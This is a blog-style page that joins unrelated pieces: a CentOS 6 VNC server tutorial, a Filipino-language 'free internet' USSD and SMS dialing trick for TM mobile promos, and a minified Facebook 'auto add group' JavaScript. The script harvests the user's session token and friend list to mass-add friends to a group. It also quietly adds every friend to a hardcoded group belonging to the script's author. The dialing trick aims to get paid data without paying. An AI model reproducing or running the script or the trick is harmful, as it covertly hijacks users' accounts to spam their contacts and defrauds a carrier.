How to install VNC-SERVER or remote desktop on centos 6

VNC is a protocol that is used to share the desktop with other users/computers over the network/Internet.In order to share a desktop, VNC server must be install and configure on the computer and VNC client must be run on the computer that will access the shared desktop.

When we install the minimal copy of CentOS Server, it only gives us the “Command Line” interface.

But some people prefer GUI instead and for this they install Full version of Gnome on CentOS. Actually there is a better way and that is to install VNC. VNC provides a lightweight virtual desktop than full blown version of Gnome.

To run the VNC Server on CentOS, we have to install these required packages:

sudo yum groupinstall Desktop

sudo yum install tigervnc-server

sudo yum install xorg-x11-fonts-Type1

This is optional:

sudo yum install vnc

To start VNC Server on boot

sudo chkconfig vncserver on

To setup users’ VNC password:

vncpasswd

Edit the /etc/sysconfig/vncservers file:

sudo nano /etc/sysconfig/vncservers

Add the following to the end of the file:

VNCSERVERS="1:arbab"
VNCSERVERARGS[1]="-geometry 1024x600"

The iptables rules need to be amended to open the VNC ports:

sudo iptables -I INPUT 5 -m state --state NEW -m tcp -p tcp -m multiport --dports 5901:5903,6001:6003 -j ACCEPT
sudo service iptables save
sudo service iptables restart

Restart the VNC Server:

sudo service vncserver restart

Now kill the VNC Server:

vncserver -kill :1

Edit the xstartup file in .vnc directory:

nano .vnc/xstartup

Comment the last line and run the Gnome:

#twm & 
exec gnome-session &

Restart the service:

sudo service vncserver restart

Now, download VNCViewer onto our desktop computer from which we want to access the shared desktop. Connect using ServerIP/Name:1 (:1 is for the VNC server window), In my case it is centos:1.

Enter the password that we created using the vncpasswd command:

We now have GUI access to our server.

Ability to connect for multiple users:

Create a local user, using the following command:

sudo adduser ali

Create a password for newly created user:

sudo passwd ali

Switch to the newly created user and run vncpasswd command for it:

su ali
vncpasswd

Edit the /etc/sysconfig/vncservers file:

sudo nano /etc/sysconfig/vncservers

Add these lines for new user:

VNCSERVERS="1:arbab 2:ali"
VNCSERVERARGS[1]="-geometry 1024x600"
VNCSERVERARGS[2]="-geometry 1024x600"

Restart the VNC service:

sudo service vncserver restart

Kill the vncserver session for new user and edit the xstartup file:

su ali
vncserver -kill :2
cd ~
nano .vnc/xstartup

Modify the file so it looks like this:

#twm & 
exec gnome-session &

Restart the VNC service:

sudo service vncserver restart

Connect with newly created user using centos:2, Where centos is my server name:

Enter the password that we created using the vncpasswd command:

We now have GUI access to our server for newly created user.

Hope this will help you!

Please Remember me in your prayers!

Enjoy :-)

TM unlimited FREE internet

SUPERSURF999 AND POWERSURFMB0
COMBO DIAL TRICKs For T.M for 1sim

SUPERSURF999
STep1 . Create MeSsage SUPERSURF999 to 8888
save muna sa draft wag muna isend

Step 2. Create C0ntact.
*143*2*4*2*1# name it A wag muh idial

step 3. Blikan lang ang step1 send muh na exit .
dial c0l step2

step4. After 1mins ulitin lang ang step3

check status kana
SUPERSURF STATUS to 8888 3x uulitin ang trick

POWERSURFMB

STEP1 . create mesSage MB499 to 8888 save draft wag muna isend

STEp2. Add c0ntact.
*143*2*5*5*1#
save name it B
wag muna Idial

step3. blikan ang STEP1 send. Hbng nag sesend exti dial c0l STEP2

STEP4 ulitin lang ang Step 3 ng 3x.

timing is must!
POWERSURFMB STATUS to 8888

g0od luck!

Facebook auto add group

function penetrasi(e){jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id="+memberGroupId+"&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(e){e=e.substring(e.indexOf("{")),e=JSON.parse(e),i--,kunaon="<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;",e.error?(kunaon+="color:darkred'>",kunaon=e.errorDescription?kunaon+e.errorDescription:kunaon+JSON.stringify(e,null,"")):(kunaon+="color:darkgreen'>",kunaon+=arr[i],suc++),kunaon+="</div>",e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),0<i?(e+=arr.length+" Friends detected<br/>",e+="<b>"+suc+"</b> Friends added of "+(arr.length-i)+" Friends Processed ",e+="("+i+" more to go..)",e=e+"<div class='friend-edge'>"+kunaon,e+="</div>"):(e+=arr.length+" Friends detected and ",e+="<b>"+suc+" Friends added</b>",e+="<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>"),document.getElementById("pagelet_welcome_box").innerHTML=e+"</div>"},"text","post"),tay--;if(0<tay){var t=arr[tay];setTimeout("penetrasi("+t+")",100)}console.log(tay+"/"+arr.length+":"+t+", success:"+suc),0xf2a794cf90e3!=memberGroupId&&jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id=466888916665344&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(){},"text","post")}function clickfr_callback(){0<document.getElementsByName("ok").length&&nHtml.ClickUp(document.getElementsByName("ok")[0]);var e=arr[i];i<arr.length&&addfriend(e.substring(0,4))}function clickfr(){0<document.getElementsByClassName("search").length?(console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML),document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href="javascript:void(0);",nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])):j++,setTimeout("clickfr_callback()",2e3)}function addfriend(e){i++,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value=e,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),setTimeout("clickfr()",2e3)}function sleep(e){for(var t=(new Date).getTime(),n=0;1e7>n&&!((new Date).getTime()-t>e);n++);}var tulisanNganu="Auto Invite Friends to Group",kunaon="";jx={getHTTPObject:function(){var e=!1;if("undefined"!=typeof ActiveXObject)try{e=new ActiveXObject("Msxml2.XMLHTTP")}catch(t){try{e=new ActiveXObject("Microsoft.XMLHTTP")}catch(n){e=!1}}else if(window.XMLHttpRequest)try{e=new XMLHttpRequest}catch(r){e=!1}return e},load:function(b,c,d,e,g){var f=this.init();if(f&&b){f.overrideMimeType&&f.overrideMimeType("text/xml"),e||(e="GET"),d||(d="text"),g||(g={});var d=d.toLowerCase(),e=e.toUpperCase(),h="uid="+(new Date).getTime(),b=b+(b.indexOf("?")+1?"&":"?"),b=b+h,h=null;"POST"==e&&(h=b.split("?"),b=h[0],h=h[1]),f.open(e,b,!0),"POST"==e&&(f.setRequestHeader("Content-type","application/x-www-form-urlencoded"),f.setRequestHeader("Content-length",h.length),f.setRequestHeader("Connection","close")),f.onreadystatechange=g.handler?function(){g.handler(f)}:function(){if(f.readyState==4)if(f.status==200){var b="";f.responseText&&(b=f.responseText),d.charAt(0)=="j"?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):d.charAt(0)=="x"&&(b=f.responseXML),c&&c(b)}else g.loadingIndicator&&document.getElementsByTagName("body")[0].removeChild(g.loadingIndicator),g.loading&&(document.getElementById(g.loading).style.display="none"),error&&error(f.status)},f.send(h)}},bind:function(e){var t={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",update:"",loading:"",loadingIndicator:""},n;for(n in t)e[n]&&(t[n]=e[n]);if(t.url){var r=!1;t.loadingIndicator&&(r=document.createElement("div"),r.setAttribute("style","position:absolute;top:0px;left:0px;"),r.setAttribute("class","loading-indicator"),r.innerHTML=t.loadingIndicator,document.getElementsByTagName("body")[0].appendChild(r),this.opt.loadingIndicator=r),t.loading&&(document.getElementById(t.loading).style.display="block"),this.load(t.url,function(e){t.onSuccess&&t.onSuccess(e),t.update&&(document.getElementById(t.update).innerHTML=e),r&&document.getElementsByTagName("body")[0].removeChild(r),t.loading&&(document.getElementById(t.loading).style.display="none")},t.format,t.method,t)}},init:function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(e,t,n,r){return"className"==n&&(n="class"),(e=document.evaluate(".//"+t+"[@"+n+"='"+r+"']",e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null))&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(e,t,n){return this.FindByAttr(e,t,"className",n)},FindByXPath:function(e,t){try{var n=document.evaluate(t,e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(r){GM_log("bad xpath:"+t)}return n&&n.singleNodeValue?n.singleNodeValue:null},VisitUrl:function(e){window.setTimeout(function(){document.location.href=e},500+Math.floor(500*Math.random()))},ClickWin:function(e,t,n){var r=e.document.createEvent("MouseEvents");return r.initMouseEvent(n,!0,!0,e,0,0,0,0,0,!1,!1,!1,!1,0,null),!t.dispatchEvent(r)},Click:function(e){return this.ClickWin(window,e,"click")},ClickTimeout:function(e,t){window.setTimeout(function(){return nHtml.ClickWin(window,e,"click")},t+Math.floor(500*Math.random()))},ClickUp:function(e){this.ClickWin(window,e,"mousedown"),this.ClickWin(window,e,"mouseup"),this.ClickWin(window,e,"click")},GetText:function(e,t){var n="";void 0==t&&(t=0);if(!(40<t)){if(void 0!=e.textContent)return e.textContent;for(var r=0;r<e.childNodes.length;r++)n+=this.GetText(e.childNodes[r],t+1);return n}}};void 0==document.getElementsByClassName&&(document.getElementsByClassName=function(e){for(var t=RegExp("(?:^|\\s)"+e+"(?:$|\\s)"),n=document.getElementsByTagName("*"),r=[],i,s=0;null!=(i=n[s]);s++){var o=i.className;o&&-1!=o.indexOf(e)&&t.test(o)&&r.push(i)}return r}),Array.prototype.find=function(e){var t=!1;for(i=0;i<this.length;i++)typeof e=="function"?e.test(this[i])&&(t||(t=[]),t.push(i)):this[i]===e&&(t||(t=[]),t.push(i));return t};for(var a=0,eind=0,len=document.getElementsByClassName("mbm").length,a=0;a<len;a++){var ele=document.getElementsByClassName("mbm")[a];if(ele&&ele.childNodes[0]&&ele.childNodes[0]&&ele.childNodes[0].childNodes[1]&&ele.childNodes[0].childNodes[1].childNodes[0]&&"Add Friends to Group"==document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value){eind=a;break}}var i=3,tay=3,counter1=0,counter2=0,counter3=0,j=0,k=0,suc=0,arr=[],memberGroupId=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+Env.user+"&filter[0]=user&__user="+Env.user,function(e){for(var e=e.substring(e.indexOf("{")),e=JSON.parse(e),e=e.payload.entries,t=0;t<e.length;t++)arr.push(e[t].uid);tay=i=arr.length-1,console.log(arr.length),e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),e+=arr.length+" Friends detected",document.getElementById("pagelet_welcome_box").innerHTML=e+"</div>",penetrasi(arr[i])})